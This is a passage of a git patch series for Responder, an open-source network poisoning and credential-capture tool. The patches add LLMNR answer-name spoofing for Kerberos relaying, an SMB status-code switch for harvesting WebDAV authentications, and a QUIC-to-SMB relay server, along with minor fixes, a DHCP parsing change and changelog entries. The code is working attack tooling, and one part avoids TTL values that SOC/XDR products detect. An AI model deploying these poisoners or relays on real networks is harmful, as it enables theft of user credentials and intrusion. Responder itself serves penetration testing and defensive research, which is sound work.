Poisoned answer sent to %s for name %s (spoofed answer name %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, AnswerName), 2, 1)) SavePoisonersToDb({ 'Poisoner': 'LLMNR', 'SentToIp': self.client_address[0], @@ -96,14 +103,17 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class elif LLMNRType == 'IPv6' and Have_IPv6: #Default: if settings.Config.TTL == None: - Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name) + Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName) else: - Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name, TTL=settings.Config.TTL) + Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName, TTL=settings.Config.TTL) Buffer1.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) if not settings.Config.Quiet_Mode: LineHeader = "[*] [LLMNR]" - print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1)) + if settings.Config.AnswerName is None: + print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1)) + else: + print(color("%s Poisoned answer sent to %s for name %s (spoofed answer name %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, AnswerName), 2, 1)) SavePoisonersToDb({ 'Poisoner': 'LLMNR6', 'SentToIp': self.client_address[0], diff --git a/settings.py b/settings.py index ee96190..141e339 100644 --- a/settings.py +++ b/settings.py @@ -172,6 +172,7 @@ class Settings: self.DHCP_DNS = options.DHCP_DNS self.ExternalIP6 = options.ExternalIP6 self.Quiet_Mode = options.Quiet + self.AnswerName = options.AnswerName # TTL blacklist. Known to be detected by SOC / XDR TTL_blacklist = [b"\x00\x00\x00\x1e", b"\x00\x00\x00\x78", b"\x00\x00\x00\xa5"] From 674342325181706c2e4c50171b38caf96364a869 Mon Sep 17 00:00:00 2001 From: Lino <123986259+L1-0@users.noreply.github.com> Date: Mon, 24 Feb 2025 11:49:06 +0100 Subject: [PATCH 105/114] Update RPC.py Fix Output of RPC.py --- servers/RPC.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/servers/RPC.py b/servers/RPC.py index ce931f5..c8074ac 100644 --- a/servers/RPC.py +++ b/servers/RPC.py @@ -144,7 +144,7 @@ class RPCMap(BaseRequestHandler): RPC.calculate() self.request.send(NetworkSendBufferPython2or3(str(RPC))) data = self.request.recv(1024) - print(color("[*] [DCE-RPC Mapper] Redirected %-15sto DSRUAPI auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1)) + print(color("[*] [DCE-RPC Mapper] Redirected %-15s to DSRUAPI auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1)) self.request.close() #LSARPC @@ -155,7 +155,7 @@ class RPCMap(BaseRequestHandler): RPC.calculate() self.request.send(NetworkSendBufferPython2or3(str(RPC))) data = self.request.recv(1024) - print(color("[*] [DCE-RPC Mapper] Redirected %-15sto LSARPC auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1)) + print(color("[*] [DCE-RPC Mapper] Redirected %-15s to LSARPC auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1)) self.request.close() #WINSPOOL @@ -166,7 +166,7 @@ class RPCMap(BaseRequestHandler): RPC.calculate() self.request.send(NetworkSendBufferPython2or3(str(RPC))) data = self.request.recv(1024) - print(color("[*] [DCE-RPC Mapper] Redirected %-15sto WINSPOOL auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1)) + print(color("[*] [DCE-RPC Mapper] Redirected %-15s to WINSPOOL auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1)) self.request.close() #NetLogon @@ -180,7 +180,7 @@ class RPCMap(BaseRequestHandler): #RPC.calculate() #self.request.send(NetworkSendBufferPython2or3(str(RPC))) #data = self.request.recv(1024) - #print(color("[*] [DCE-RPC Mapper] Redirected %-15sto NETLOGON auth server." % (self.client_address[0]), 3, 1)) + #print(color("[*] [DCE-RPC Mapper] Redirected %-15s to NETLOGON auth server." % (self.client_address[0]), 3, 1)) except Exception: self.request.close() From 6bf6887c49751b3f1bee219d4cf91871b80d4cff Mon Sep 17 00:00:00 2001 From: BlackWasp Date: Sun, 16 Mar 2025 23:32:19 +0100 Subject: [PATCH 106/114] Add status code control --- README.md | 5 +++++ Responder.py | 17 +++++++++-------- servers/SMB.py | 12 ++++++++++-- settings.py | 1 + 4 files changed, 25 insertions(+), 10 deletions(-) diff --git a/README.md b/README.md index 731cbaa..f09820f 100755 --- a/README.md +++ b/README.md @@ -173,6 +173,11 @@ Options: answer's canonical name is the same as the query. Changing this value is mainly useful when attempting to perform Kebreros relaying over HTTP. + -E, --ErrorCode Changes the error code returned by the SMB server to + STATUS_LOGON_FAILURE. By default, the status is + STATUS_ACCESS_DENIED. Changing this value permits to + obtain WebDAV authentications from the poisoned + machines where the WebClient service is running. ## Donation ## diff --git a/Responder.py b/Responder.py index bfe13cf..045824b 100755 --- a/Responder.py +++ b/Responder.py @@ -47,6 +47,7 @@ parser.add_option('--disable-ess', action="store_true", help="Force ESS parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose") parser.add_option('-t','--ttl', action="store", help="Change the default Windows TTL for poisoned answers. Value in hex (30 seconds = 1e). use '-t random' for random TTL", dest="TTL", metavar="1e", default=None) parser.add_option('-N', '--AnswerName', action="store", help="Specifies the canonical name returned by the LLMNR poisoner in tits Answer section. By default, the answer's canonical name is the same as the query. Changing this value is mainly useful when attempting to perform Kebreros relaying over HTTP.", dest="AnswerName", default=None) +parser.add_option('-E', '--ErrorCode', action="store_true", help="Changes the error code returned by the SMB server to STATUS_LOGON_FAILURE. By default, the status is STATUS_ACCESS_DENIED. Changing this value permits to obtain WebDAV authentications from the poisoned machines where the WebClient service is running.", dest="ErrorCode", default=False) options, args = parser.parse_args() if not os.geteuid() == 0: @@ -301,16 +302,16 @@ def main(): # Load (M)DNS, NBNS and LLMNR Poisoners if settings.Config.LLMNR_On_Off: - from poisoners.LLMNR import LLMNR - threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,))) + from poisoners.LLMNR import LLMNR + threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,))) if settings.Config.NBTNS_On_Off: - from poisoners.NBTNS import NBTNS - threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,))) + from poisoners.NBTNS import NBTNS + threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,))) if settings.Config.MDNS_On_Off: - from poisoners.MDNS import MDNS - threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,))) + from poisoners.MDNS import MDNS + threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,))) #// Vintage Responder BOWSER module, now disabled by default. #// Generate to much noise & easily detectable on the network when in analyze mode. @@ -348,8 +349,8 @@ def main(): threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3128, HTTP_Proxy,))) if settings.Config.ProxyAuth_On_Off: - from servers.Proxy_Auth import Proxy_Auth - threads.append(Thread(target=serve_thread_tcp_auth, args=(settings.Config.Bind_To, 3128, Proxy_Auth,))) + from servers.Proxy_Auth import Proxy_Auth + threads.append(Thread(target=serve_thread_tcp_auth, args=(settings.Config.Bind_To, 3128, Proxy_Auth,))) if settings.Config.SMB_On_Off: if settings.Config.LM_On_Off: diff --git a/servers/SMB.py b/servers/SMB.py index b93ebb7..2110927 100644 --- a/servers/SMB.py +++ b/servers/SMB.py @@ -239,7 +239,11 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP ## Session Setup 3 answer SMBv2. if data[16:18] == b'\x01\x00' and GrabMessageID(data)[0:1] == b'\x02' or GrabMessageID(data)[0:1] == b'\x03' and data[4:5] == b'\xfe': ParseSMBHash(data, self.client_address[0], Challenge) - head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data).decode('latin-1')) + if settings.Config.ErrorCode: + ntstatus="\x6d\x00\x00\xc0" + else: + ntstatus="\x22\x00\x00\xc0" + head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus=ntstatus, SessionID=GrabSessionID(data).decode('latin-1')) t = SMB2Session2Data() packet1 = str(head)+str(t) buffer1 = StructPython2or3('>i', str(packet1))+str(packet1) @@ -357,7 +361,11 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version self.request.send(NetworkSendBufferPython2or3(Buffer)) else: ParseLMNTHash(data,self.client_address[0], Challenge) - head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data))) + if settings.Config.ErrorCode: + ntstatus="\x6d\x00\x00\xc0" + else: + ntstatus="\x22\x00\x00\xc0" + head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode=ntstatus,pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data))) Packet = str(head) + str(SMBSessEmpty()) Buffer = StructPython2or3('>i', str(Packet))+str(Packet) self.request.send(NetworkSendBufferPython2or3(Buffer)) diff --git a/settings.py b/settings.py index 141e339..db99c1e 100644 --- a/settings.py +++ b/settings.py @@ -173,6 +173,7 @@ class Settings: self.ExternalIP6 = options.ExternalIP6 self.Quiet_Mode = options.Quiet self.AnswerName = options.AnswerName + self.ErrorCode = options.ErrorCode # TTL blacklist. Known to be detected by SOC / XDR TTL_blacklist = [b"\x00\x00\x00\x1e", b"\x00\x00\x00\x78", b"\x00\x00\x00\xa5"] From e781559be0def04affdc0eaadb7b92a4efbeec45 Mon Sep 17 00:00:00 2001 From: BlackWasp Date: Sun, 16 Mar 2025 23:40:51 +0100 Subject: [PATCH 107/114] Indentation typos --- Responder.py | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/Responder.py b/Responder.py index 045824b..f80c157 100755 --- a/Responder.py +++ b/Responder.py @@ -302,16 +302,16 @@ def main(): # Load (M)DNS, NBNS and LLMNR Poisoners if settings.Config.LLMNR_On_Off: - from poisoners.LLMNR import LLMNR - threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,))) + from poisoners.LLMNR import LLMNR + threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,))) if settings.Config.NBTNS_On_Off: - from poisoners.NBTNS import NBTNS - threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,))) + from poisoners.NBTNS import NBTNS + threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,))) if settings.Config.MDNS_On_Off: - from poisoners.MDNS import MDNS - threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,))) + from poisoners.MDNS import MDNS + threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,))) #// Vintage Responder BOWSER module, now disabled by default. #// Generate to much noise & easily detectable on the network when in analyze mode. @@ -349,8 +349,8 @@ def main(): threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3128, HTTP_Proxy,))) if settings.Config.ProxyAuth_On_Off: - from servers.Proxy_Auth import Proxy_Auth - threads.append(Thread(target=serve_thread_tcp_auth, args=(settings.Config.Bind_To, 3128, Proxy_Auth,))) + from servers.Proxy_Auth import Proxy_Auth + threads.append(Thread(target=serve_thread_tcp_auth, args=(settings.Config.Bind_To, 3128, Proxy_Auth,))) if settings.Config.SMB_On_Off: if settings.Config.LM_On_Off: From 871cdffa97d4edb70e39df839711a0291e440bce Mon Sep 17 00:00:00 2001 From: Joshua Fickett Date: Thu, 3 Apr 2025 15:16:00 -0400 Subject: [PATCH 108/114] added quic support based on xpn's work --- Responder.conf | 1 + Responder.py | 7 ++ requirements.txt | 1 + servers/QUIC.py | 168 +++++++++++++++++++++++++++++++++++++++++++++++ settings.py | 1 + 5 files changed, 178 insertions(+) create mode 100644 servers/QUIC.py diff --git a/Responder.conf b/Responder.conf index a9eac42..b74a851 100755 --- a/Responder.conf +++ b/Responder.conf @@ -8,6 +8,7 @@ NBTNS = On ; Servers to start SQL = On SMB = On +QUIC = On RDP = On Kerberos = On FTP = On diff --git a/Responder.py b/Responder.py index bfe13cf..9a4b342 100755 --- a/Responder.py +++ b/Responder.py @@ -14,6 +14,7 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . +import asyncio import optparse import ssl try: @@ -361,6 +362,12 @@ def main(): threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 445, SMB1,))) threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 139, SMB1,))) + if settings.Config.QUIC_On_Off: + from servers.QUIC import start_quic_server + cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert) + key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey) + threads.append(Thread(target=lambda: asyncio.run(start_quic_server(settings.Config.Bind_To, cert, key)))) + if settings.Config.Krb_On_Off: from servers.Kerberos import KerbTCP, KerbUDP threads.append(Thread(target=serve_thread_udp, args=('', 88, KerbUDP,))) diff --git a/requirements.txt b/requirements.txt index 7823774..8bd1f34 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1 +1,2 @@ +aioquic netifaces>=0.10.4 diff --git a/servers/QUIC.py b/servers/QUIC.py new file mode 100644 index 0000000..a2397f5 --- /dev/null +++ b/servers/QUIC.py @@ -0,0 +1,168 @@ +import asyncio +import logging +import ssl +import argparse +import netifaces +from utils import * +from aioquic.asyncio import serve +from aioquic.asyncio.protocol import QuicConnectionProtocol +from aioquic.quic.configuration import QuicConfiguration +from aioquic.quic.events import QuicEvent, StreamDataReceived, StreamReset, ConnectionTerminated + +BUFFER_SIZE = 11000 + +def get_interface_ip(interface_name): + """Get the IP address of a network interface.""" + try: + # Get address info for the specified interface + addresses = netifaces.ifaddresses(interface_name) + + # Get IPv4 address (AF_INET = IPv4) + if netifaces.AF_INET in addresses: + return addresses[netifaces.AF_INET][0]['addr'] + + # If no IPv4 address, try IPv6 (AF_INET6 = IPv6) + if netifaces.AF_INET6 in addresses: + return addresses[netifaces.AF_INET6][0]['addr'] + + logging.error(f"[!] No IP address found for interface {interface_name}") + return None + except ValueError: + logging.error(f"[!] Interface {interface_name} not found") + return None + + +class QUIC(QuicConnectionProtocol): + def __init__(self, *args, target_address=None, **kwargs): + super().__init__(*args, **kwargs) + self.tcp_connections = {} # stream_id -> (reader, writer) + self.target_address = target_address or "localhost" + + def quic_event_received(self, event): + if isinstance(event, StreamDataReceived): + asyncio.create_task(self.handle_stream_data(event.stream_id, event.data)) + elif isinstance(event, StreamReset) or isinstance(event, ConnectionTerminated): + # Only try to close connections if we have any + if self.tcp_connections: + asyncio.create_task(self.close_all_tcp_connections()) + + async def handle_stream_data(self, stream_id, data): + if stream_id not in self.tcp_connections: + # Create a new TCP connection to the target interface:445 + try: + reader, writer = await asyncio.open_connection(self.target_address, 445) + self.tcp_connections[stream_id] = (reader, writer) + + # Start task to read from TCP and write to QUIC + asyncio.create_task(self.tcp_to_quic(stream_id, reader)) + + logging.info(f"[*] Connected to {self.target_address}:445\n[*] Starting relaying process...") + print(text("[QUIC] Forwarding QUIC connection to SMB server")) + except Exception as e: + logging.error(f"[!] Error connecting to {self.target_address}:445: {e}") + return + + # Forward data from QUIC to TCP + try: + _, writer = self.tcp_connections[stream_id] + writer.write(data) + await writer.drain() + except Exception as e: + logging.error(f"[!] Error writing to TCP: {e}") + await self.close_tcp_connection(stream_id) + + async def tcp_to_quic(self, stream_id, reader): + try: + while True: + data = await reader.read(BUFFER_SIZE) + if not data: + break + + self._quic.send_stream_data(stream_id, data) + self.transmit() + except Exception as e: + logging.error(f"[!] Error reading from TCP: {e}") + finally: + await self.close_tcp_connection(stream_id) + + async def close_tcp_connection(self, stream_id): + if stream_id in self.tcp_connections: + _, writer = self.tcp_connections[stream_id] + writer.close() + await writer.wait_closed() + del self.tcp_connections[stream_id] + + async def close_all_tcp_connections(self): + try: + # Make a copy of the keys to avoid modification during iteration + stream_ids = list(self.tcp_connections.keys()) + for stream_id in stream_ids: + try: + await self.close_tcp_connection(stream_id) + except KeyError: + # Silently ignore if the stream ID no longer exists + pass + except Exception as e: + # Catch any other exceptions that might occur + logging.debug(f"[!] Error closing TCP connections: {e}") + +async def start_quic_server(listen_interface, cert_path, key_path): + # Configure QUIC + configuration = QuicConfiguration( + alpn_protocols=["smb"], + is_client=False, + ) + + # Load certificate and private key + try: + configuration.load_cert_chain(cert_path, key_path) + except Exception as e: + logging.error(f"[!] Could not load {cert_path} and {key_path}: {e}") + return + + # Resolve interfaces to IP addresses + listen_ip = listen_interface + if not is_ip_address(listen_interface): + listen_ip = get_interface_ip(listen_interface) + if not listen_ip: + logging.error(f"[!] Could not resolve IP address for interface {listen_interface}") + return + + target_ip = listen_interface + if not is_ip_address(listen_interface): + target_ip = get_interface_ip(listen_interface) + if not target_ip: + logging.error(f"[!] Could not resolve IP address for interface {listen_interface}") + return + + # Start QUIC server with correct protocol factory + server = await serve( + host=listen_ip, + port=443, + configuration=configuration, + create_protocol=lambda *args, **kwargs: QUIC( + *args, + target_address=target_ip, + **kwargs + ) + ) + + logging.info(f"[*] Started listening on {listen_ip}:443 (UDP)") + logging.info(f"[*] Forwarding connections to {target_ip}:445 (TCP)") + + # Keep the server running forever + await asyncio.Future() + + +def is_ip_address(address): + """Check if a string is a valid IP address.""" + import socket + try: + socket.inet_pton(socket.AF_INET, address) + return True + except socket.error: + try: + socket.inet_pton(socket.AF_INET6, address) + return True + except socket.error: + return False diff --git a/settings.py b/settings.py index 141e339..a03ee92 100644 --- a/settings.py +++ b/settings.py @@ -124,6 +124,7 @@ class Settings: self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP')) self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS')) self.SMB_On_Off = self.toBool(config.get('Responder Core', 'SMB')) + self.QUIC_On_Off = self.toBool(config.get('Responder Core', 'QUIC')) self.SQL_On_Off = self.toBool(config.get('Responder Core', 'SQL')) self.FTP_On_Off = self.toBool(config.get('Responder Core', 'FTP')) self.POP_On_Off = self.toBool(config.get('Responder Core', 'POP')) From a0d1f03617294e62d677e5d3591b82d0b0caf93c Mon Sep 17 00:00:00 2001 From: Stefan Walter Date: Sat, 12 Apr 2025 12:11:00 +0200 Subject: [PATCH 109/114] DHCP poisoner: refactor FindIP - do not crash on IP addresses where one octet contains 0x45 0x4f or 0x46 - operate on bytes (avoid encoding/decoding round-trip) and use simple string search instead of regular expressions closes #181 closes #304 --- poisoners/DHCP.py | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/poisoners/DHCP.py b/poisoners/DHCP.py index a0e1713..602fdc2 100755 --- a/poisoners/DHCP.py +++ b/poisoners/DHCP.py @@ -239,9 +239,12 @@ def ParseSrcDSTAddr(data): return SrcIP, SrcPort, DstIP, DstPort def FindIP(data): - data = data.decode('latin-1') - IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data)) - return ''.join(IP[0:4]).encode('latin-1') + IPPos = data.find(b"\x32\x04") + 2 + if IPPos == -1 or IPPos + 4 >= len(data): + return None + else: + IP = data[IPPos:IPPos+4] + return IP def ParseDHCPCode(data, ClientIP,DHCP_DNS): global DHCPClient From a76ee47867311bf42683b6c31db1fad45b6c99ae Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 22 May 2025 05:23:00 -0300 Subject: [PATCH 110/114] added check for aioquic & updated version to reflect recent changes --- settings.py | 2 +- utils.py | 7 ++++++- 2 files changed, 7 insertions(+), 2 deletions(-) diff --git a/settings.py b/settings.py index 64ff0ca..d8e7f04 100644 --- a/settings.py +++ b/settings.py @@ -23,7 +23,7 @@ import subprocess from utils import * -__version__ = 'Responder 3.1.5.0' +__version__ = 'Responder 3.1.6.0' class Settings: diff --git a/utils.py b/utils.py index 38a72b1..58fa108 100644 --- a/utils.py +++ b/utils.py @@ -29,7 +29,12 @@ try: import netifaces except: sys.exit('You need to install python-netifaces or run Responder with python3...\nTry "apt-get install python-netifaces" or "pip install netifaces"') - + +try: + import aioquic +except: + sys.exit('You need to install aioquic...\nTry "apt-get install python-aioquic" or "pip install aioquic"') + from calendar import timegm def if_nametoindex2(name): From 658480e0a558ca57a5cfcc3caaa06eecacd88696 Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 22 May 2025 05:27:55 -0300 Subject: [PATCH 111/114] added recent changelog --- CHANGELOG.md | 32 ++++++++++++++++++++++++++++++++ 1 file changed, 32 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index bbc5d88..755e6a5 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,3 +1,35 @@ + +n.n.n / 2025-05-22 +================== + + * added check for aioquic & updated version to reflect recent changes + * Merge pull request #310 from ctjf/master + * Merge pull request #308 from BlWasp/error_code_returned + * Merge pull request #311 from stfnw/master + * DHCP poisoner: refactor FindIP + * added quic support based on xpn's work + * Indentation typos + * Add status code control + * Merge pull request #305 from L1-0/patch-1 + * Update RPC.py + * Merge pull request #301 from q-roland/kerberos_relaying_llmnr + * Adding answer name spoofing capabilities when poisoning LLMNR for Kerberos relaying purpose + +n.n.n / 2025-05-22 +================== + + * added check for aioquic & updated version to reflect recent changes + * Merge pull request #310 from ctjf/master + * Merge pull request #308 from BlWasp/error_code_returned + * Merge pull request #311 from stfnw/master + * DHCP poisoner: refactor FindIP + * added quic support based on xpn's work + * Indentation typos + * Add status code control + * Merge pull request #305 from L1-0/patch-1 + * Update RPC.py + * Merge pull request #301 from q-roland/kerberos_relaying_llmnr + * Adding answer name spoofing capabilities when poisoning LLMNR for Kerberos relaying purpose # Changelog All notable changes to this project will be documented in this file. From 58eb8731a5e7f4d60a5bc2c8d6dc13109bdb7de7 Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 22 May 2025 05:34:30 -0300 Subject: [PATCH 112/114] Added SNMP srv enabled by default --- Responder.conf | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Responder.conf b/Responder.conf index b74a851..5a4e46a 100755 --- a/Responder.conf +++ b/Responder.conf @@ -21,7 +21,7 @@ DNS = On LDAP = On DCERPC = On WINRM = On -SNMP = Off +SNMP = On MQTT = On ; Custom challenge. From fa2b8dd5fdd97831729aa862cd66adeb6becd324 Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 22 May 2025 11:42:50 -0300 Subject: [PATCH 113/114] minor fixes --- utils.py | 16 ++++++---------- 1 file changed, 6 insertions(+), 10 deletions(-) diff --git a/utils.py b/utils.py index 58fa108..b77ccbb 100644 --- a/utils.py +++ b/utils.py @@ -485,21 +485,13 @@ def banner(): ]) print(banner) - print("\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__) - print('') - print(" To support this project:") - print(" Github -> https://github.com/sponsors/lgandx") - print(" Paypal -> https://paypal.me/PythonResponder") - print('') - print(" Author: Laurent Gaffie (laurent.gaffie@gmail.com)") - print(" To kill this script hit CTRL-C") print('') def StartupMessage(): enabled = color('[ON]', 2, 1) disabled = color('[OFF]', 1, 1) - + print(color("[*] ", 2, 1)+"Sponsor Responder: https://paypal.me/PythonResponder") print('') print(color("[+] ", 2, 1) + "Poisoners:") print(' %-27s' % "LLMNR" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.LLMNR_On_Off) else disabled)) @@ -579,4 +571,8 @@ def StartupMessage(): print(' %-27s' % "Responder Machine Name" + color('[%s]' % settings.Config.MachineName, 5, 1)) print(' %-27s' % "Responder Domain Name" + color('[%s]' % settings.Config.DomainName, 5, 1)) print(' %-27s' % "Responder DCE-RPC Port " + color('[%s]' % settings.Config.RPCPort, 5, 1)) - + + #credits + print('') + print(color("[*] ", 2, 1)+"Version: "+settings.__version__) + print(color("[*] ", 2, 1)+"Author: Laurent Gaffie, ") From 398a1fce310b38647b8bc09d3d6bad2f977696a7 Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 22 May 2025 18:45:45 -0300 Subject: [PATCH 114/114] Fixed minor parsing issue in FindIP --- poisoners/DHCP.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/poisoners/DHCP.py b/poisoners/DHCP.py index 602fdc2..3d54126 100755 --- a/poisoners/DHCP.py +++ b/poisoners/DHCP.py @@ -240,8 +240,9 @@ def ParseSrcDSTAddr(data): def FindIP(data): IPPos = data.find(b"\x32\x04") + 2 - if IPPos == -1 or IPPos + 4 >= len(data): - return None + if IPPos == -1 or IPPos + 4 >= len(data) or IPPos == 1: + #Probably not present in the DHCP options we received, let's grab it from the IP header instead + return data[12:16] else: IP = data[IPPos:IPPos+4] return IP